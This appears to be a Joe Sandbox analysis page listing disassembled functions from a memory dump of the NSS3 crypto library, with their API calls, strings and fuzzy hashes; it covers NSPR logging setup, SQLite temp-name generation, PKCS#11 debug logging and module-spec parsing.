Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 79f2de828e76c0c9990f52a2259326f6be502896941c3be03198cc0c0cb5d05a
Instruction ID: c168863fa683304a0a4dbfeb0a070e0d530e967b745b3f99aff276d69617f789
Opcode Fuzzy Hash: 79f2de828e76c0c9990f52a2259326f6be502896941c3be03198cc0c0cb5d05a
Instruction Fuzzy Hash: A691F4B89052025BFF018F65EC89BBF3BE8AF0A354F440060ED199B246E761D915C7A2

Function 6CFB1D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CFB1DA3

Part of subcall function 6D0898D0: calloc.MOZGLUE(00000001,00000084,6CFB0936,00000001,?,6CFB102C), ref: 6D0898E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CFB1DB2

Part of subcall function 6CFB1240: TlsGetValue.KERNEL32(00000040,?,6CFB116C,NSPR_LOG_MODULES), ref: 6CFB1267
Part of subcall function 6CFB1240: EnterCriticalSection.KERNEL32(?,?,?,6CFB116C,NSPR_LOG_MODULES), ref: 6CFB127C
Part of subcall function 6CFB1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CFB116C,NSPR_LOG_MODULES), ref: 6CFB1291
Part of subcall function 6CFB1240: PR_Unlock.NSS3(?,?,?,?,6CFB116C,NSPR_LOG_MODULES), ref: 6CFB12A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFB1DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CFB1E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CFB1EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CFB1ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CFB1EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CFB1F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CFB1F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CFB1F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CFB1F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CFB1F83
PR_SetLogFile.NSS3(00000000), ref: 6CFB1FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CFB1FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CFB1FCB
free.MOZGLUE(00000000), ref: 6CFB1FD2

Strings

%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CFB1E27
sync, xrefs: 6CFB1E46
NSPR_LOG_MODULES, xrefs: 6CFB1DAD
bufsize, xrefs: 6CFB1E9B
timestamp, xrefs: 6CFB1EC4
Unable to create nspr log file '%s', xrefs: 6CFB1FB3
all, xrefs: 6CFB1F0E
, %n, xrefs: 6CFB1E6B
NSPR_LOG_FILE, xrefs: 6CFB1F69
append, xrefs: 6CFB1EE6

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 1cfa3c831ed5d71e7d7626d05159ed9c21c71864be118f8216b0afb9f324ad0d
Instruction ID: e607b53ff3111801dec9526c29d711f87689b4833168ab40f77391f7e0abd03a
Opcode Fuzzy Hash: 1cfa3c831ed5d71e7d7626d05159ed9c21c71864be118f8216b0afb9f324ad0d
Instruction Fuzzy Hash: D951D5B1D042099BEF00CBE6DD49B9FB7B8AF05308F144128E919EB641F7B1E558CB51

Function 6D096E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF4CA30: EnterCriticalSection.KERNEL32(?,?,?,6CFAF9C9,?,6CFAF4DA,6CFAF9C9,?,?,6CF7369A), ref: 6CF4CA7A
Part of subcall function 6CF4CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CF4CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CF5BE66), ref: 6D096E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CF5BE66), ref: 6D096E98
sqlite3_snprintf.NSS3(?,00000000,6D0FAAF9,?,?,?,?,?,?,6CF5BE66), ref: 6D096EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CF5BE66), ref: 6D096ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CF5BE66), ref: 6D096EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CF5BE66), ref: 6D096F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CF5BE66), ref: 6D096F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CF5BE66), ref: 6D096F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CF5BE66), ref: 6D096FA6
sqlite3_snprintf.NSS3(?,00000000,6D0FAAF9,00000000,?,?,?,?,?,?,?,6CF5BE66), ref: 6D096FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CF5BE66), ref: 6D096FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CF5BE66), ref: 6D096FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CF5BE66), ref: 6D097014
sqlite3_free.NSS3(00000000,?,?,?,?,6CF5BE66), ref: 6D09701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CF5BE66), ref: 6D097030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CF5BE66), ref: 6D09705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CF5BE66), ref: 6D097079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CF5BE66), ref: 6D097097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CF5BE66), ref: 6D0970A0

Strings

Pm, xrefs: 6D0970A8
winGetTempname1, xrefs: 6D09708F
winGetTempname2, xrefs: 6D0970C4
winGetTempname5, xrefs: 6D097071
winGetTempname4, xrefs: 6D097046
mz_etilqs_, xrefs: 6D096F18

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: Pm$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-4120868204
Opcode ID: f1eec7c21b3b9f9a0110e6bf86026de1d3d4185b50b17297d80d206a6379f27f
Instruction ID: ec373b2c9b13311b30e50d33c39b87aa4a862061a1921cf567570c831f434e56
Opcode Fuzzy Hash: f1eec7c21b3b9f9a0110e6bf86026de1d3d4185b50b17297d80d206a6379f27f
Instruction Fuzzy Hash: 53518AB2E042116BF7009630AC55FBF366A9FC2318F549138E9059B3C2FF61A50E92E2

Function 6CFF8E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CFF8E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFF8EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFF8EB3

Part of subcall function 6D0DD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0DD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFF8EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CFF8EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CFF8F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFF8F29
PR_LogPrint.NSS3(?,00000000), ref: 6CFF8F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CFF8F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFF8F80
PR_LogPrint.NSS3(?,00000000), ref: 6CFF8F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CFF8FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CFF8FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CFF9047

Strings

pWrappedKey = 0x%p, xrefs: 6CFF8FAD
hWrappingKey = 0x%x, xrefs: 6CFF8F01, 6CFF8F11
pulWrappedKeyLen = 0x%p, xrefs: 6CFF8FC8
C_WrapKey, xrefs: 6CFF8E71
pMechanism = 0x%p, xrefs: 6CFF8EE0
*pulWrappedKeyLen = 0x%x, xrefs: 6CFF9042
(CK_INVALID_HANDLE), xrefs: 6CFF8EAC, 6CFF8F1F, 6CFF8F79
nm, xrefs: 6CFF8FEC, 6CFF9023
hKey = 0x%x, xrefs: 6CFF8F5B, 6CFF8F6B
hSession = 0x%x, xrefs: 6CFF8E8E, 6CFF8E9E

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$nm
API String ID: 1003633598-279686898
Opcode ID: 912ab955c2cce1aca46b95d2815ef9dda3e461ffdadad930268e639bb9561c5e
Instruction ID: 4fc508e9fdc3f673d963a3334dd89a69a70e2acc0b34f5aacf4c37f5a8fa8cb5
Opcode Fuzzy Hash: 912ab955c2cce1aca46b95d2815ef9dda3e461ffdadad930268e639bb9561c5e
Instruction Fuzzy Hash: 9951D172905204AFFB008F55ED45F9F7B76EB4330CF054026FA186B662D7B29946CBA2

Function 6D024FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000,00000000,00000001), ref: 6D025009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2,00000000), ref: 6D025049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6D02505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6D025071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6D025089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D0250A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6D0250B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD75C2), ref: 6D0250CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6D0250D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D0250F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D025103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D02511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D02512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D025145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D025153
free.MOZGLUE(?), ref: 6D02516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6D02517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6D025195

Strings

nss=, xrefs: 6D025083
parameters=, xrefs: 6D02506B
config=, xrefs: 6D02509B
library=, xrefs: 6D025043
name=, xrefs: 6D025057

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: c498d35a070741443a6dbcf8c9e35d6adee0a8935d7c48e6f3f017279507f4d2
Instruction ID: 145ce13213aafeacd0805bf4646861497304f8ef3bc302f4c1c12f6687f9c66f
Opcode Fuzzy Hash: c498d35a070741443a6dbcf8c9e35d6adee0a8935d7c48e6f3f017279507f4d2
Instruction Fuzzy Hash: AF51B6B99021066BFB01DF24EC4ABBF37A8AF05254F040024ED19E7345FB25E915CBB6

Function 6D024C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6D014F51,00000000), ref: 6D024C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6D014F51,00000000), ref: 6D024C5B
PR_smprintf.NSS3(6D0FAAF9,?,0000002F,?,?,?,00000000,00000000,?,6D014F51,00000000), ref: 6D024C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6D014F51,00000000), ref: 6D024CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D024CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D024CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D024D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6D014F51,00000000), ref: 6D024D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6D014F51,00000000), ref: 6D024D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6D024D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6D024DA2
free.MOZGLUE(?), ref: 6D024DB9
free.MOZGLUE(00000000), ref: 6D024DCF

Strings

ootT, xrefs: 6D024D1A
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6D024D9D
0x%08lx=[%s %s], xrefs: 6D024D80
rust, xrefs: 6D024D22
slotFlags, xrefs: 6D024D34
every, xrefs: 6D024CA1
rootFlags, xrefs: 6D024D47
%s,%s, xrefs: 6D024C4B
timeout, xrefs: 6D024C91
any, xrefs: 6D024C96

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 6ece66028c57dd6c295ffe7da6ac75ccd472b44355d742730088e478ac9dac0e
Instruction ID: ccbf0b9b9f223fbef885eb315b19d3070682f81b3d133c241d6cec130060ffd9
Opcode Fuzzy Hash: 6ece66028c57dd6c295ffe7da6ac75ccd472b44355d742730088e478ac9dac0e
Instruction Fuzzy Hash: 4E416BB1C01142BBF7129F19AC40BBA7AA9AFAA308F554134EC1A5B305E771D925C7D3

Function 6CFCDDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CFCDDDE

Part of subcall function 6D020FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFC87ED,00000800,6CFBEF74,00000000), ref: 6D021000
Part of subcall function 6D020FF0: PR_NewLock.NSS3(?,00000800,6CFBEF74,00000000), ref: 6D021016
Part of subcall function 6D020FF0: PL_InitArenaPool.NSS3(00000000,security,6CFC87ED,00000008,?,00000800,6CFBEF74,00000000), ref: 6D02102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CFCDDF5

Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D0210F3
Part of subcall function 6D0210C0: EnterCriticalSection.KERNEL32(?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02110C
Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021141
Part of subcall function 6D0210C0: PR_Unlock.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021182
Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CFCDE34
PR_Now.NSS3 ref: 6CFCDE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CFCDE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFCDEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CFCDEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CFCDED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CFCDEF0
PR_smprintf.NSS3(6D0FAAF9,(NULL) (Validity Unknown)), ref: 6CFCDF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFCDF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CFCDF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CFCDF33
free.MOZGLUE(00000000), ref: 6CFCDF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFCDF4B
free.MOZGLUE(00000000), ref: 6CFCDF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFCDF8E

Strings

(NULL) (Validity Unknown), xrefs: 6CFCDEFA
{???}, xrefs: 6CFCDE8B
%s%s, xrefs: 6CFCDEEB

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: a105f62805fe8ba93668de10c6082cda3bcea5b289d4190cb5d67f03485ddbcc
Instruction ID: 73e0aa4a10493c70ee0e3763daed76ea6c31ba6ae3fd614b2f42020a04bf8758
Opcode Fuzzy Hash: a105f62805fe8ba93668de10c6082cda3bcea5b289d4190cb5d67f03485ddbcc
Instruction Fuzzy Hash: 7751C2B1F402069BEB009E659C81BAF7AF9AF85358F154029EC09E7701E731D911CBE3

Function 6CFFAF20 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CFFAF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFFAF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFFAF83

Part of subcall function 6D0DD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0DD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFFAF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CFFAFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CFFAFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CFFAFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CFFB00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CFFB028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CFFB041

Strings

pParameter = 0x%p, xrefs: 6CFFAFB9
ulDataLen = %d, xrefs: 6CFFB00A
pulSignatureLen = 0x%p, xrefs: 6CFFB03C
ulParameterLen = 0x%p, xrefs: 6CFFAFD4
C_SignMessage, xrefs: 6CFFAF41
(CK_INVALID_HANDLE), xrefs: 6CFFAF7C
pData = 0x%p, xrefs: 6CFFAFEF
nm, xrefs: 6CFFB059, 6CFFB093
pSignature = 0x%p, xrefs: 6CFFB023
hSession = 0x%x, xrefs: 6CFFAF5E, 6CFFAF6E

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage$nm
API String ID: 1003633598-3918757775
Opcode ID: fe78fad4d066f6d9e218cbcbb1464261908d45533f93e831ac218af585f9668c
Instruction ID: c5e46f54d011b6df886ba8dd6a04980e5df57ff7b6c5a26b2de80d443e3cef04
Opcode Fuzzy Hash: fe78fad4d066f6d9e218cbcbb1464261908d45533f93e831ac218af585f9668c
Instruction Fuzzy Hash: 8741DF75501204EFFB108F50ED89F5E7BB1EB4230CF494025F918A7662D7B28895CBA6

Function 6D002D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6D002DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6D002E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6D002E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6D002E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CFD4F1C,?,-00000001,00000000,?), ref: 6D002E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CFD4F1C,?,-00000001,00000000), ref: 6D002E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6D002EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6D002EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6D002EF8
PR_Unlock.NSS3(?), ref: 6D002F62
TlsGetValue.KERNEL32 ref: 6D002F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6D002F9E
PR_Unlock.NSS3(?), ref: 6D002FCA
TlsGetValue.KERNEL32 ref: 6D00301A
EnterCriticalSection.KERNEL32(?), ref: 6D00302E
PR_Unlock.NSS3(?), ref: 6D003066
PR_SetError.NSS3(00000000,00000000), ref: 6D003085
PR_Unlock.NSS3(?), ref: 6D0030EC
TlsGetValue.KERNEL32 ref: 6D00310C
